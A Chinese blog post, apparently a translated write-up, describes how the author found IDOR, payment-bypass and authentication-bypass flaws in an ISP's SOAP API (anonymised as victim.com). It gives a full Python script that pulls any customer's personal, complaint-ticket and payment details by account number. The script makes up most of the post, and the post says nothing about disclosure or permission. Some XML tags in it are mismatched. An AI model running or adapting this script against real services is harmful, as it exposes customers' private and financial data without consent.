如何黑掉我的ISP并实现攻击自动化(以黑促学)

本文详细记录了作者通过Burp Suite发现ISP的API漏洞,利用IDOR漏洞获取用户敏感信息并绕过支付系统,最终使用Python编写SOAP请求脚本实现自动化攻击的全过程,展现了完整的Web安全测试技术链。

如何黑掉我的ISP并实现攻击自动化(以黑促学)

我将使用victim.com作为文中网站名称,因无法公开真实名称。

某天我正在寻找新的网络套餐时,浏览器正挂着Burp Suite。检查网络流量时,我注意到Burp历史记录中出现神秘端点,还发现了网站的API文档链接。

通过阅读文档,我开始对API参数进行模糊测试。经过10-15分钟的测试,发现了IDOR漏洞,能够查看任意用户的个人信息。继续阅读API文档后,又发现多个IDOR漏洞:可查看投诉详情、以任意用户身份提交投诉、重置用户MAC地址。

最关键的是发现了支付漏洞:既能查看用户支付详情,又能绕过支付网关免费充值。但当时仍需登录账户才能实施攻击,局限性较大。

随后研究认证API时,发现可直接绕过认证机制调用API。不过手动拦截流量修改API端点过于繁琐,于是决定编写Python脚本实现自动化攻击:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests, sys
import xml.etree.ElementTree as ET

uservalue = sys.argv[1]

def details(uservalue):
    xml = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <victimDetail xmlns="http://victim.com/">
    <victimAccNo>{0}</victimAccNo>
    </victimCustomerDetail>
    </soap:Body>
    </soap:Envelope>"""
    xml = xml.format(uservalue)
    headers = {
        'Content-Type': 'text/xml',
        'SOAPAction' : 'http://victim.com'
    }
    body = requests.post('http://victim.com', data=xml, headers=headers).text
    xml_parsed = ET.fromstring(body)
    root = xml_parsed[0][0][0][1][0][0]
    print("---#################### User Details #######################---")
    for element in root:
        print(element.tag, '\t\t:\t\t', element.text)
    print()

def complaint_ticket(uservalue):
    xml = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <victimTicketDetail xmlns="http://victim.com">
    <victim>{0}</victim>
    <FromDate>01/01/2016</FromDate>
    <ToDate>31/12/2018</ToDate>
    </victimBBTicketDetail>
    </soap:Body>
    </soap:Envelope>"""
    xml = xml.format(uservalue)
    headers = {
        'Content-Type': 'text/xml',
        'SOAPAction' : 'http://victim.com'
    }
    body = requests.post('http://victim.com', data=xml, headers=headers).text
    xml_parsed = ET.fromstring(body)
    root = xml_parsed[0][0][0][1][0][0]
    print("---#################### Complaint Tickets of User #######################---")
    for element in root:
        print(element.tag, '\t\t:\t\t', element.text)
    print()

def payment_details(uservalue):
    xml = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
    <victimPayment xmlns="http://victim.com">
    <victimID>{0}</victimID>
    </victimPayment>
    </soap:Body>
    </soap:Envelope>"""
    xml = xml.format(uservalue)
    headers = {
        'Content-Type': 'text/xml',
        'SOAPAction' : 'http://victim.com'
    }
    body = requests.post('http://victim.com', data=xml, headers=headers).text
    xml_parsed = ET.fromstring(body)
    root = xml_parsed[0][0][0][1][0][0]
    print("---#################### Payment Details of User #######################---")
    for element in root:
        print(element.tag, '\t\t:\t\t', element.text)
    print()

details(uservalue)
complaint_ticket(uservalue)
payment_details(uservalue)

完成自动化后,只需运行Python脚本并输入参数,即可获取任意用户的全部敏感信息。

感谢阅读,祝大家有美好的一天!:)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计